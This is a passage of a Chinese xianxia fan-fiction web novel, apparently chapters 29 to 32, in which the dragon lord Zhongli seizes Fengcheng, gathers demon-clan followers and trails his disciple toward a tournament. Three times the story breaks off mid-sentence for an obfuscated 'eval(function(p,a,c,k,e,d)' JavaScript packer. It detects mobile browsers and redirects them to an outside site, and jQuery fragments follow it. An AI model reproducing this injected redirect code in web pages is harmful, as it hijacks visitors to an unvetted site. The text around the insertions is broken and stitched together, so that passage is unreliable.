这负责人看见钟离那轻描淡写的语气,他也不是什么不长脑子的人,现在这个态度,以及钟离的表现,他明显开始慌了神,表面上只有一个钟离,但是实际上指不定他还有什么后手呢。 “哈、哈,”他后退两步,看起来明显想要开溜,“大人您说什么呢。” “也没有知道的必要了。” 钟离无端叹口气,他也不想这么暴力的。 岩石的共振荡开,负责人脚还没有挪出去几步,他从脚下逐渐开始石化起来,他此刻也惊叫出声,越是想要挪动,就越发僵硬,金光逐渐将他全身石化,直到他整个人本质上都变成了一具顽石,躯壳表面丝丝缕缕的灿金色彰显出‘它’与一般石像不同的本质。 “师父!” 时间刚刚好,这尊石像刚刚落成,门就被推开了,猛地冲进来的钟鸣被门口的这太过真实的石像吓了一跳,随即委屈巴巴地朝着钟离跑过来,和他说着自己干了些什么,以及如何如何被吓到了。 孔煊也从裕丰怀里挣脱开来,他的双目此刻竟然泛起了点点赤金色光芒,烈烈如火,钟离一眼就对上了他的眸子。 真凤血脉的小崽子,身上也确确实实有些神异之处,他那令万物无所遁形的眼睛明显便是他的神通。 不过,还是年纪太小了。 “小朋友,你家大人没有教过你吗?有些东西,不要乱看。” 若是钟离有歹意,或者是有一丝一毫的不快,破了他这神通,他自此怕是要瞎个几十年了。 偏生孔煊真真切切地看到了些什么,他此刻眼睛黯淡了下去,神色却兴奋了起来,原本以为钟鸣宝贝得不得了的师父是讨厌的人族,原来是妖皇大人! 他连滚带爬跑过去一把就把钟离大腿抱住了,和钟鸣一人一边,“您是我妖族共同承认的妖皇大人!您不会丢下我不管的吧!” 他们龙凤在上古年代可是有同盟的,四舍五入是自家人!何况,上古时代,龙族就是妖族公认的妖皇,如今有钟离在,他不就是当代妖皇? “喂!你!你为什么抱我师父?” 钟鸣指着他,一脸不可置信,孔煊刚才明明还蛐蛐过钟离来着,一见到人他怎么还变脸呢? “什么你师父,这是我妖族妖皇,四舍五入就是我的长辈!” 两个小孩吵起来了,钟离叹口气,颇为无奈,他两只手把两个孩子分开,强迫他们住了嘴,顺便将孔煊手上的缚妖索给解决掉。 “裕丰,带上他俩跟紧我,先去把麻烦解决掉。” 钟离一拂衣袖,长身而立,‘壁立千仞’化作无形之盾护住了每一个人,而他自己则显化出了另一副形态。 褐金色衣装,肩部覆甲,两只蜿蜒的龙角自额前生长,贯虹之槊冲天而起,直接破坏了整个拍卖场,夜色撒下,照耀在这一片废墟之上,空中三人御剑而来,却正正好对上了前方的钟离。 “竖子——”一句话还没骂完,他看清了钟离的模样,一下子愣住了,“龙族?” 他心里是喜忧参半,贪婪驱使着他面露喜色,谁不知道龙族虽强,但浑身是宝,如果他那猎杀那么一头…… 但又忧虑于龙族的战斗力,妖族嗜战,又以龙族为最,那怕他是元婴后期,这修为也够他们头疼了。 “林兄、王兄,眼前这头孽畜确实棘手,但我们三人联手,未必没有击杀的可能,他的价值,呵呵呵……” 另外两位修士虽然没说话,但是眼睛里的欲望明显已经战胜了理智。 钟离轻蔑地看他们一眼,看起来,浑浊的欲望已经将他们的全部心神全都吞噬,他是尘世闲游、修身养性多年,但这不代表他就真的失却了从前的狂傲。 三人胆敢在他眼前说出这种话……哈哈哈哈哈,真是好久没有遇见这种蠢货了。 “区区蝼蚁——” 亲眼所见,亦非真实,谁告诉他们,他就只是元婴后期了?再且说,这三个修士修为虚浮,一个寿元将近,一个靠灵丹妙药磕上去的…… 没一个能打的,不过,让他们尽一尽自己最后的价值也不错。 “钟鸣,你且看好,我的枪法完整地给你演示一遍。” 说完,钟离将贯虹一把踹了出去,枪尖直刺前路之人,带起的血花让眼前的敌人真真切切意识到,他们这次,是踢到铁板,看走眼了。 安乐了许久,打斗这种事,恍若隔日黄花,拿剑的手在被钟离的长枪挑飞之后,整个手臂都在颤抖。 至于心下畏怯,想逃? 四面金光壁垒早已将这片天地完全禁锢,三人犹如困兽之斗,完全成为了钟离教导徒弟的一次性耗材,枪花挽过,扫、刺、劈招招凶狠,而敌人的攻击对上钟离的护盾,却翻不起丝毫浪花。 裕丰带着两个孩子站在后面,不仅仅是钟鸣看的一丝不露,孔煊也是满脸兴奋,将钟离的身姿完完全全印在心底,裕丰虽不擅长长枪,却也为钟离强大的身姿所倾倒。 待最后一个招式演示完,这三个修士已经是遍体鳞伤,还得感谢钟离手下留情,不过,他可不是想要饶他们一命,只是现场有两个孩子,不宜太血腥罢了。 钟离背对他们,带着笑意,也为久违的活动了一下筋骨,稍微高兴了片刻,“如何,学到多少,就看你们的悟性了。” 至于眼前的敌人,勉强撑着口气,神情惊疑不定,还以为钟离要放过他们,想要逃跑的身影蹿得飞快。 不过,牢笼之内,无所遁形,此刻明明是黑夜,天空却泛起金芒,金色的天星出现得毫无预兆,它撕裂了天空,映照了整个夜色,让远处观望着这里的所有人看的清清楚楚,也正是因此,他们心头也全都打了个寒颤。 天星之下,三个修为已经算是老祖层次的人全都被石化,地面上任何有罪之人也全都与他们一起留在了这里,与整个黑市拍卖场一起,被碾了个粉碎,地下只留下一个陨坑,无声地诉说着天空之中岩龙的强大与他对罪恶之人绝不饶恕的心理。 钟离此刻的声音也传遍了整个枫城,“自此之后,我将掌管枫城,参与此事者,不日清算 ,往后若再有拐卖妖、人之事,作奸犯科者,谨以此为戒!” 龙吟之声久久不散,让作恶者身躯僵硬,被无形的岩石协同共振,当着所有人的面身化顽石,无法逃脱,一座座惊恐的石像矗立在这座庞大的城市各个角落,让城中世家大族、高层人人自危,纷纷断尾求生,向这位新任城主投诚,至于钟离搭不搭理,那就得看心情了。 他只需要放出武力威胁,逼迫着他治下所有决策者兢兢业业地干活就行,敢有暗中阳奉阴违之人,石化警告。 这一举,龙族现世,盘踞枫城,不论是妖族、还是人族,全都谨慎起来,钟离的昭告与他强大的实力,几乎给了所有龟缩起来苟活的修士当头一棒。 妖族的人第二日就找过来了,甚至于还有个孔煊的‘熟人’,那不是一般的熟,是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176323|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挨揍的熟。 “三叔!?您——是来接我回去的?” 孔煊看着正面走过来的妖修,是一位穿着红袍的修士,法衣上面金丝银线勾勒出一只凤鸟,长发被头冠束缚,看起来和孔煊是一脉同出的妖异漂亮,有种不分性别的魅力。 他朝小孔煊眨眨眼,说道:“是啊,某个小崽子拿着殷墟令就跑了,自做聪明得很,你知不知道!全族上下找你找疯了?” 他刚开始面色平静,说到后头的时候咬牙切齿。 他知道,孔煊有多受宠,就有多不自由,他血脉返祖最高,全族上下的期望都寄予他一身,但是他还是个幼崽,大人想要保护他,他却觉得是令飞鸟失去了自由,那一次闹得老凶了。 只是闹也闹了,仅仅一眨眼没看见,孔煊就丢了。 他偷走的殷墟令能隐匿气息,大家关系托遍了,还找了人族帮忙卜算,结果却是走向极端,一者说尸骨无存,一者言贵人相助,一飞冲天。 心里有多恐慌,在见到这个小祖宗的时候,他只是终于松了口气。 孔煊却低着头不敢看他,他知道自己做错了,殷墟令被那群人抢走了,但是那群修士居然有识货的,用别的东西把他的气息隐匿了起来,要不是遇见钟鸣,他可能真的就尸骨无存了。 此刻他脚步一挪一挪,躲到了小伙伴钟鸣的身后,他比钟鸣矮了一个脑袋,恰恰好,完美的被他遮住了。 孔煊的三叔,也就是令羽冷笑了一声,“待会儿再来收拾你。” 说完,他抬脚便进了屋里去,来这里的主要事情不能忘。 钟离自然知道他的来意,此刻也只是点点头,向侧边指了指,示意他落座。 除了他,还有另外两位妖修,令羽代表飞禽,熊朴代表走兽,以及代表水族的代表者奎蛟。 令羽来的晚,奎蛟和熊朴已经在为了龙君大人去哪个族滴驻留吵得不可开交了,此刻一见令羽,两个人面目凶恶,狠狠瞪他一眼,各自又不再说话。 钟离一副事不关己的模样,悠悠地吹了吹茶杯口冒出的热气,细细一品,看几人都安静了,才开口。 “我带着徒弟,现阶段,就住在枫城吧。” “不可啊龙君大人,这枫城地界偏僻,那些人修无法无天,简直乌烟瘴气,我们龙宫已经为大人建造出来了,大人需要什么,您一开口,我们水族都拿得出来。” 水族的富裕,那可不是开玩笑的。 一说水族,钟离神色虽然并未变化,但是他却神色坚定地拒绝了,大可不必。 熊朴也是有备而来,“大人,昔年我们走兽一族也曾跟随龙族妖皇征战,族地距离天宫也不远,何况大人带着徒弟,刚刚好可以与族里的小崽子们切磋对练,大家都很崇敬龙君呢!” 说什么崇敬,钟离现在不仅仅和妖皇挂钩,还等于妖族之中的国宝,那可稀少得嘞,妖妖都爱。 令羽不知道说什么了,他们能说的都说了好的,他们鸟族有什么?个个好颜色? “龙君大人若是想要久居枫城,让我们派些子弟入驻也可,大人是不知道,这些年人族修士愈加膨胀,再过不久是联盟大比,枫城作为往来枢纽,太过繁杂了,不知大人可否同意?” 令羽折中说了一下,山不去就他,他来就山也可以,虽不知这位隐世龙君为何选择现在出世,但是当今人、妖确有罅隙,魔修蠢蠢欲动,有了一位实力强劲的靠山,也确实会令人安心许多。 钟离自然知道他们的想法,但是他主要还是带个徒弟,没有什么再登王座的心思,只是摇摇头,他自有打算。 “枫城如今上上下下都在我的把控之中,不必派太多人手,至于联盟大比……可否与我说说?” 30.第 30 章 钟离问起联盟大比之事,令羽也只当他此前却为洞天隐世清修,不知道也正常,随即向他介绍了起来。 “联盟大比是仙门大派联合妖修一同创办的,每百年在万剑山前举行一次,胜者前三名可带走万剑山内任意一把神兵。” 当年为联合抵御魔修与鬼修,人族与妖族结成联盟,虽然如今两族心有罅隙,但是终究是没有撕破脸皮,况且两族互市,互相补缺也是有利之事,人族中虽有主张‘非我族类其心必异’观念之人,但终究还是为利益折腰。 这里的鬼修又有些不同,他们是从恶怨之气之中诞生,与魔族相依相存,因此天然便是同盟,钟离倒也了解过这些。 若是一些神魂薄弱的修士面对他们,难免会被掣肘。 钟离手掌放在桌面上,指尖轻点,一副若有所思的模样,一下子令场面沉默了几刻,半响,他道:“就这样吧,如今我便暂居枫城,你们也不必担心,那些人打扰不了我什么。” 奎蛟与熊朴也不敢再多言,只好说是,但是暗地里还是派了些青年来枫城据守,钟离也懒得管,随他们去了。 送走那两人,令羽却驻足在钟离身侧,为了什么,大家心里都清楚。 “你可要把孔煊带回去?” 那孩子,每天勤奋过了头,不是别的勤奋,而是每天准时准点来敲他房门,等在门边,非要当钟离的跟屁虫,这件事情上比他练功修炼还勤奋。 钟离实在应付不来这孩子,稍微说一句重话,他就会可怜巴巴看着你,也不碍着什么事情,但活像是受了欺负的模样,如今家长来了,钟离巴不得令羽快些带走这孩子。 “不,”谁料到,令羽却只摇头,孔煊不肯回族地,所以,“我能否侍奉龙君身侧?龙君身边只带了那一只小妖,还是太委屈了。” 令羽在凤族也是族老的身份,此刻却要追随钟离左右,连远处偷偷观察的孔煊也有些惊悚。 他都打定主意了,要是令羽真的要强行带走他,他就抱住钟离打死不走,他不信他三叔还能上手来抓他。 相处短短几日,他早就摸清龙君的性子了,他对小孩子很宽容,威势无二,却有一颗仁心,不愧是龙君大人! 孔煊很喜欢他,连带着也喜欢他的徒弟钟鸣,当然,钟鸣每次看见他就咬牙切齿,却又每次都最先忍不住他可怜的眼神,最先败下阵来。 “你还要在这里偷听多久?” 像现在,钟鸣和他偷偷蹲在草丛里,看着远处站着的两人在这里咬耳朵,他师父和孔煊这小子的三叔不知道在说些什么,声音模模糊糊的,钟鸣听不太真切,但是孔煊种族天赋,那叫一个耳聪目明。 “什么我偷听,你不也听了?” “我听不清,所以我不算偷听。” 说起这个,钟鸣神色异常骄傲,孔煊却摇头叹气,当然,幅度很小,他决定了,要在这里给钟鸣上点眼药。 “我三叔说,他想留在你师父身边,他可严肃嘞,要是他留下来了,你想想,往后我们的日子就不好过了。” “……?”钟鸣缓缓打出一个问号,“他是你三叔,又不是我三叔,为什么我的日子也不好过?” “他好为人师,谁都爱上去指教一二,况且联盟大比要来了,你师父对你寄予厚望,我三叔听你师父的,你到时候惨了,他一天二十四小时替龙君大人盯着你。” “那是应该的!我才不会偷懒,只有你——” 钟鸣对着孔煊笑得灿烂,那头,听见小孩子们小声蛐蛐的两个大人——钟离和令羽,却笑得相当无奈。 “抱歉,龙君大人,让您见笑了,家里的小孩子不懂事。” 一句话,令羽说得咬牙切齿,钟离转头看向远处的草从,这城主府是他抬手间用岩元素造化出来的,为了美观,他往这里移植了好些景观,没想到,现在成了小孩子躲猫猫的地。 灌木丛完美地遮盖了两个半大不小的少年的身形,孔煊虽然四五十岁,但是按照妖族的年龄远远没有成年,身量不高,钟鸣也才是个半大少年,有些顽皮也是应该的。 倒不如说,钟离也很喜欢现在这样,有了一个小伙伴,活泼了不少的钟鸣。 “无碍,此后,你便与孔煊一道留下吧,这府邸虽不算太大,也能住下。” 令羽心头一喜,赶忙谢过龙君,大概是也没想到龙君这么喜欢孩子?这么想着,连带着对草里蛄蛹的孔煊,他也还是没有再说些什么了。 只是摇头叹口气,等钟离离开,他立马去把这孩子拎着衣领子提了出来。 “呵呵,我好为人师、严厉古板?等着,接下来五年,你要是还像之前那样偷懒——你等着吧,联盟大比如果你拿不到名次,之前的账,我们慢慢算。” 令羽笑得一如既往地如沐春风,但是在孔煊眼里,他这叫笑面虎,心里已经在为自己前途无亮的生涯开始紧张了。 他领走了孔煊,钟鸣也跑回府邸去找师父。 “师父,联盟大比是什么?” 他是好奇这个,在莽山里与绝灵海之中,这些灵气稀薄之地,他都能到练气九层,如今抵达天灵大陆,这里的资源丰富,灵气前所未有的浓厚,钟鸣甚至于已然半步踏入了筑基期。 他本能地向往着仗剑除魔的生涯,枫城虽大,但是自从钟离宣示力量,掌控此地,钟鸣这个钟离座下弟子便入了人眼,讨好不了钟离,恭维一下这个弟子呢? 这些诱惑,钟离却并没有教导他该如何去做,权财诱导,对钟鸣一个半大少年来说,不如粪土,神兵利器,有钟离赐下的神兵,旁的又如何能如眼? 至此来看,钟鸣做得很好,不骄不躁,道心坚定,身外之物无所能诱惑者。 但是联盟大比这四个字,却叫他着了魔,他心中隐隐期待,这是一个与其他天之骄子交手的机会,也是一个验证实力的机会,他师父这么强,他作为他的弟子,也不能让师父失望。 “孔煊没告诉你?”钟离敲了敲钟鸣的脑袋,看他满心期待,五年后,钟鸣当是虚岁二十了。 “联盟大比,妖修八十岁之下,人修五十岁之下,各路天才群英汇集万剑山,以两两比斗的方式,决胜出前三名,胜者可在万剑山内任选一柄神剑。” 万剑山,那里曾经是古战场,后来汇聚千万灵器,是英雄埋骨之地,大能死后,本命灵器在此地自晦,进此山者,全凭机缘。 传说中,万剑山内甚至藏有神器,不过可惜,至今为止无人得到。 想到这里,钟离看着钟鸣势在必得般的神色,他确实与万剑山有缘。 原来的世界线里,百里奚在联盟大比夺冠,从万剑山中带出了上古神器镇魔剑,如今命数已乱,谁能知道后续如何呢? “是这样吗?我一定会努力的,师父!我也不会堕了您的威名!” 少年钟鸣定下这样的志向,眉目坚毅,即使曾经身处逆境,即使如今命数已改,但是对比从前,他没有因为优渥的生活而沉迷享受,不为外物动心,天道会将世界晋升的机缘放在他的身上,也不是没有道理的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201058|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不起眼前的钟鸣来,那个掠夺他气运的人——百里淏如何呢? 钟离手上八百年不冒泡的助教系统暗中观测着那个外来者的所作所为,天天给无聊的龙君大人当个乐子说。 “咦——他是种马吗?勾搭了小师妹还不够,还想去撩大师姐?哦哦哦!居然脚踏三条船?还有合欢宗圣女一件事?他是不是给每个人都下降头了? 天呐,龙君大人,我此前从未见过这般顶级的pua大师,能哄好每一个女人,也是他的本事,要是我能和他取取经,说不定以后当助教,升职加薪手到擒来,但是我还是觉得他一定自带了降智光环,否则那些彪悍的女修是怎么能平心静气地共处一室的?原来是他有宝贝啊我说呢……” 其实系统偶尔唠叨也不碍事,只是钟离实在是耳朵听起茧子了,他并不是这么想关注那位‘百里淏’的幸福生活。 “用人类的话来说,莫要如此八卦。” “哦…龙君大人,他的气运终于被消耗完了,诶又涨起来了?不太对劲,我看看怎么个事,明白了,原来他又把那些女修的气运抢了……” 不抢气运是活不下去了是吧,助教系统摇头晃脑,满脸不屑。 钟离现在只想把这天星扔出去,就凭这唠叨程度,不能要了。 ———— 五年,说长不长,对于修仙界的人来说,有时候五年比之闭关悟道所需时间的零头都不到,却足以使一位小少年长成一位青年。 钟鸣天资聪颖,天赋超绝,绝无仅有的悟性与他的刻苦勤练让他的进境迅速,他的小伙伴孔煊还得多亏他虚长些年岁,如今,个头快要赶上钟离的钟鸣站在所有人眼前,没有人会想到他在六年前还是个面黄肌瘦的脏小孩。 五年时间,让他从练气一跃金丹,连孔煊都不得不吐槽,他的好兄弟是个修炼狂魔怎么办?特别是每当这个时候,令羽就会把钟鸣夸成别人家的孩子,每每把他拿来和钟鸣对比一番。 “唉——唉——唉——” 一连三个叹息,终于还是烦扰到了一边的钟鸣,他一脸不耐,转过头看向噪音制造者。 “你到底想说什么?” “不是,你怎么一点都不兴奋呢?联盟大比诶,我们独自外出游历,没有大人管,你心里不期待吗?现在还有心思打坐,你真是八风不动。” “有什么好兴奋的,出门历练罢了,我还舍不得师父呢。” “你师宝男没救了。” 孔煊轻轻哼了一声,他躺在蒲团上,四面的东西七扭八歪,他曲着腿,毫不在意,边上的钟鸣连眼神都没抬一下,盘腿打坐,这样的日子过了五年。 他都没想到会有这么轻松的日子,孔煊是整个凤族的少主,以后也将承担起一族之长的责任,钟鸣不一样,他虽然是龙君大人的弟子,可龙君大人是自由的,钟鸣也是自由的。 这场历练之后,他就要回族里去了,他享受了飞禽一脉的供奉,日后,也将挑起一族的大梁,变成和外头那些老东西一样的,市侩又险恶的人。 “钟鸣,以后我回凤族了,你还会来找我玩吗?” “我巴不得你走,怎么可能还千里迢迢跑去找你。” “切!不来就不来,我其实一点都不想你来。” “哦,你不想我来啊?那我偏要来了。” 两人打打闹闹,虽然有时候少年人斗起嘴来幼稚又烦扰,但是这是钟离最乐意看到的样子,没有战争纷乱、离别忧伤,养出来的孩子会是这样的吧? 31.第 31 章 钟鸣与孔煊结伴,一路去往万剑山,令羽即使再不放心,也不得不看着孩子走远。 “别担心,不经历一番风雨又怎么能成长呢?他们也有自己的机缘。” 况且,钟离觉得,妖族修士们对待族中小辈,应该是更狠的下心的才是,怎么令羽却生怕孔煊出点事? 此刻,令羽叹了口气,钟离说得也对,但是他心里忍不住不担心。 “龙君大人说得是,只是孔煊这些年,终究是太顺风顺水了,除去五年前被抓走一事,从小看着长大的孩子,既怕他太受挫折,失了那少年意气,又怕他太过顺遂,心高气傲。” 对比起来,钟鸣就很好,但这也是建立在他在凡界颠沛流离数载所得,钟离知道这段历史,也明白令羽心中所想,怕孔煊被责任束缚,又期望他能成长起来,承担起一族大任。 自相矛盾。 “逼得太急也不好。” 钟离淡笑,终归还是如今局势太过复杂,所以才不得不逼着下一代励精图治,力求上进。 五年过去,枫城被钟离牢牢把控,如今这城里,上下一心,只能听到钟离一个人的声音,人族各个势力这些年也派了不少人来打探钟离的消息,善意也有、恶意也罢,有多少来多少,全都无所收获、折返而归,钟离始终态度不明,让人投鼠忌器。 人族与妖族之间有了他当镇石,反倒比之往昔交流更融洽了,老鼠屎虽有,但如今全都缩进了阴沟里,不敢冒头。 魔族势力蠢蠢欲动,恐怕这次联盟大比,不仅仅是比试,更是一次前所未有的结盟。 “龙君大人,五行道宗这次的邀请……” 这五年来,钟离拒绝了所有仙门大派的邀约,这一次联盟大比他们也来邀请,钟离的徒弟已经是这次大比的一个热门了,那么钟离这一次有没有可能会同意前去呢? “去吧。”去看看钟鸣也好,况且晾了他们这么久,这次结盟之行,怕是不得不去了。 “熊朴和奎蛟可派出人手?” “他们已经先走一步,龙君大人,我们何时动身?” 钟鸣与孔煊一走,他们估计在这枫城也待不住,此时听到令羽的询问,他转头看向这位孔雀妖王,他眼里似乎隐隐有些急切,想必妖族也是期望他出面的。 这一次钟离一去,相当于是妖修们的定海神针,有了他,双方结盟也能占个先机。 “跟着钟鸣他们看看?你不是也担心吗?” 他们前脚走,钟离与令羽后脚去,到时候双方在万剑山碰面,说不定也是个惊喜。 令羽眼睛瞪大了几分,没想到龙君会说出尾随徒弟这话,看起来,他也不是那么放心吧?心里隐隐约约似乎是知道了些什么,他眼里带着笑意,立马点头说是,钟离也懒得纠正他心里所想,便就此去也。 钟鸣和孔煊两人出行靠的是裕丰,这些年里,裕丰也突破了元婴,算是一方大能了,不过到底是个不要脸不要皮的,跟着钟鸣他可没有丝毫不自在,反而以此为荣,孔煊每日最爱就是刺他几句,再被噎到无语。 不过可惜,裕丰的主人钟鸣算半个哑巴,裕丰呢,是一点五个狗腿子,孔煊讥讽他,他还能夸孔煊用词精妙,语气真诚,脸皮之厚,能把孔煊气个半死。 钟离和令羽坐在灵舟上,看着前头飞半路也在叽叽喳喳的人,令羽不由得摇头感叹,“看起来,出门以后更吵闹了。” 管不住,一点都管不住。 “热闹也是件好事。” 几个半大小子,就这么依靠裕丰去往万剑山,那一时半会可还早着呢,天灵大陆不像凡界,苍茫千万里,处处机缘、处处危险,枫城又地处在大陆边缘,临海之地,虽然作为联通妖族海城与人类属地的必经之路,但终究还是太偏了些。 而这群第一次出远门的孩子,手里拿着地图也看不太明白,飞着飞着就飞偏了。 钟离面色平平淡淡,看不出什么来,令羽已经开始不可置信了。 “……三个脑子,一个地图都看不明白?不可能啊!” 说完他又瞥一眼钟离,他倒也不是说龙君大人的徒弟傻,只是……还好是提前了三个月出门,不然按他们这个航线偏离的程度,压根到不了万剑山吧?得亏他们跟出来了,不然都不知道。 前方,裕丰驮着孔煊和钟鸣,几人丝毫没有发现后面跟着的人,虽然钟鸣有时候会狐疑地回头看两眼,但是却又丝毫破绽都没有发现。 钟离也知道孔煊双目特殊,所以使的隐身术法分外繁杂,境界不到,天王老子来了都察觉不了。 裕丰就载着人蒙头往前飞,钟鸣指哪他飞哪儿,孔煊十分信任钟鸣,压根没想到他这位好兄弟该是人生头一回看地图,面上的严肃全是装的。 “下面有座城诶,裕丰,我们要不下去看看,今天晚上说不定可以在这里歇一歇。” “好嘞少主。” 裕丰往下一俯冲,沿途带起的风吹乱了钟鸣的发丝,带到他们落到地上,裕丰也毫不忌讳地化为人形,城边的护卫对此见怪不怪,似乎来往之间见多了陌生来客,对他们也不好奇。 “化风城……我们会路过这里吗?” 钟鸣看了两眼,皱着眉,但是见孔煊和裕丰都已经走上了前,他也跟了上去。 此刻,距离此几千里之外,路线偏移的另一个方向,一群修士乔装坐在城门口的茶摊上,装作路人,却开着隔音屏障咬牙切齿地说着话。 “按理说那位龙君的徒弟此时已经路过这里了吧?灵符传来的消息,他们早已经出发了,难道他们不准备在此地停歇?” “那位龙君暴露在外的弱点只有他那个徒弟,哼,给我等!路上的每一个可以歇脚的地方,全都有人在那里等着,我不信见不到他。” 钟离虽然知道有人想要朝钟鸣下手,却也预言不到这里,谁会知道堂堂龙君大人的徒弟居然不会看地图,出发第一天和目的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211270|135751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先偏移了个几千里。 这几个修士就一直蹲在这里等,谁能料到呢,等得花都谢了,钟鸣的身影是一丝一毫没见过。 ————— 化风城内,三个人在这繁华的街道上穿梭,不同于枫城,化风城内随处飘扬着彩带,鲜花着锦,钟离不是很了解这些,裕丰和孔煊更不爱看那些人族修士的地理杂文,此刻倒对这一切感到很是新奇。 “小哥,买束花吧,送给喜欢的人。” “不了不了,我没有喜欢的人。” 钟鸣摇头拒绝,连脚步都后退了回去,惹得旁人哈哈大笑,连孔煊也是一脸揶揄。 他脸色强装镇定,拉住孔煊就往前头的客栈走,有裕丰这个大块头顶在前面,后头的两人丝毫没有感觉到拥挤,不过城中如此热闹,倒也是令他们稀奇。 客栈里头一问才知道,最近城里来了很多外面的修士,他们三人也不算太显眼,钟鸣眼睛一转,看向一旁给他们介绍的小二。 “你好,我想问问,这城中为何如此热闹啊?” 问归问,钟离塞了几块低阶灵石到人手里,这小二哥立刻是知无不言言无不尽了。 “这化风城里最近举办期花节呢,其实也算是相亲吧,再加上城主近日大婚,来来往往的修士多了去了。” “城主大婚?” “对啊,我们城主啊,百岁结丹,四百岁元婴,那是天纵之才,听说他的道侣可是万寿谷的内门弟子呢,可真是天作之合。” 孔煊张嘴想笑,百岁结丹,对比起前面这位二十岁金丹的,那还是不够看了,但是他又想想是在别人的地盘上,只得努力咳嗽两下,附和道:“确实是天作之合哈哈哈哈。” 不过……万寿谷?还是内门弟子,对于这位城主来说,确确实实是高攀了。 万寿谷以医道无双,谷主据说是位大乘期修士,年纪不是一般的大,一向待人和和气气的,也不爱争斗,不喜人前显圣,但是他医术精湛,谷内弟子数量稀少,有求者皆治,行走在外,大家也因医者仁心,敬他们三分。 “嘿嘿,走走走,我们明儿个要不去瞧个热闹?我还没见过结契大典呢。” 那小二哥一走,孔煊就冲钟鸣挤眉弄眼,他爱热闹,也确确实实想去见一见世面,那小二哥说去者皆迎,那去看一眼也不碍事呗。 裕丰看的也眼巴巴的,他不关注别的,他爱吃,婚宴确实没吃过,好奇。 “你别忘了,我们此行的目的。” “我知道,我知道,但是联盟大比早着呢,我们路上慢悠悠晃过去嘛,你不是说出来见见世面,历练一番?” “……行吧。” 钟鸣他也好奇,但他不说,道侣有什么用?他心里思索,结合自身所有经历想了个遍,那些凡人一有妻儿,便开始家长里短,修士指不定也是,思来想去,还是一个人好,有一个兄弟朋友与他共同进步,而道侣?只会影响他的修炼速度。 32.第 32 章 为了这婚宴,钟鸣和孔煊还真就在这里逗留了一天。 钟离和令羽看着他们对什么都稀奇的模样,也是无奈,一个是龙君弟子,一个是凤族少主,照理来说,神兵利器、灵丹异宝见得那是数不胜数了才对,如今一看,像是两只小狗撒了欢。 钟鸣修炼是修傻了,孔煊就是被家长看得太严了,这样一对比,嘿,稀奇感就上来了。 两个大家长隐藏得天衣无缝,清修的清修,打坐的打坐,借一微尘化为芥子,就这样随随便便就依附在了钟鸣身上。 “龙君大人这手段,当真非凡。” 令羽即使是见多识广,却也对此目瞪口呆,要做到这般以大化小、以小化大的方法,并且还要精通洞天造化之术,若非对此法则一道参悟深刻,是万万不能像这般轻轻松松就使出来的。 当真是令他佩服。 钟离却只摆摆手手,“比不得故人,只是挪用其诀窍罢了。” 这其中门道,他自然比不得阿萍的巧思,只是依类画型,算不得参悟深刻,若是让她来,说不定她当真可以凭借这方天地的法则,参悟造化一道,令壶中洞天演化为一个小世界。 令羽只当是钟离自谦,便不再说话了,开始仔细看起外界孔煊他们的所作所为。 化风城这一日入夜,那是张灯结彩,家家户户挂上了红绸,裕丰心心念念惦记着吃食,钟鸣和孔煊两人左右环顾,每家每户都是如此,大家嘴上都说着道贺的话,让孔煊是切切实实感受到了这里的热情。 “这个化风城的城主当真是好大的排场啊,全城所有人都在为他道贺。” 再往里一瞧,长长的队伍里,那位城主喜笑颜开走在前头,看起来三四十岁一个男人,另一位女修没有露过面,队伍里灵马拉车,又有一只带着红花的虎兽开道,比翼鸟双飞,孔煊说他排场大,当真不是夸大事实。 孔煊和钟鸣两挤在人群里,他们丝毫没有觉得以自己的身份来凑这么点小热闹有什么掉价的,旁人也顶多觉得这两修士长得还真是俊俏,不乏有对他们大胆到直接抛送香囊的女孩,见他们看过去,还能彪悍到明送秋波,不过以他们的走位,那是万花丛中过,别想挨上一点。 这跟紧了队伍一走啊,绕着化风城走一圈又回到了起点,挂满了囍字是城主府里,那叫一个喜庆。 一路过去,门童等候在门前,旁边站着一位筑基期的老者,应当是一位管家,来者皆是客,但是这客人身份尊贵与否,身价几何,全在他们送的礼物之中标明。 “无名散修,送下品灵宝,玉如意一只。” 这散修勉强算是大方了,一进去一位门童便将他往右边带,那边是外围靠近中间的地带,现在已经坐了好些人。 “青山修士,送珍品南海鲛珠一对。” “您往这边请。” ………… 这一个两个一进去,那是一个天一个地,裕丰这个穷鬼把脑袋凑到钟鸣身边,悄悄问:“少主,咱们有什么宝贝?” 